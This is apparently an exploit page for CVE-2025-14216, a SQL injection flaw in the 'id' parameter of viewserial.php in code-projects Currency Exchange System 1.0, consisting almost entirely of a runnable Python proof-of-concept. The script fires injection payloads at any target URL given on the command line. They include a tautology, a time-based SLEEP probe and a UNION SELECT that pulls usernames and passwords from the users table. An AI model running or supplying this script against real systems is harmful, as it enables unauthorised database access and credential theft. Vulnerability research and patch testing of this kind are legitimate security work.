CVE-2025-14216: code-projects Currency Exchange System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14216 SQL Injection PoC # Target: code-projects Currency Exchange System 1.0 # File: /viewserial.php # Parameter: ID def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in viewserial.php """ target = target_url.rstrip('/') + '/viewserial.php' params = {'id': payload} try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14216.py <target_url>") print("Example: python cve-2025-14216.py http://target.com/currency-exchange") sys.exit(1) target_url = sys.argv[1] # Basic test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' UNION SELECT username,password FROM users--" ] print(f"[*] Testing CVE-2025-14216 on {target_url}") print(f"[*] Target file: /viewserial.php") print(f"[*] Vulnerable parameter: ID") for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(target_url, payload) if result: print(f"[+] Payload sent successfully") if 'error' not in result.lower() or len(result) > 100: print(f"[!] Potential vulnerability detected") if __name__ == "__main__": main()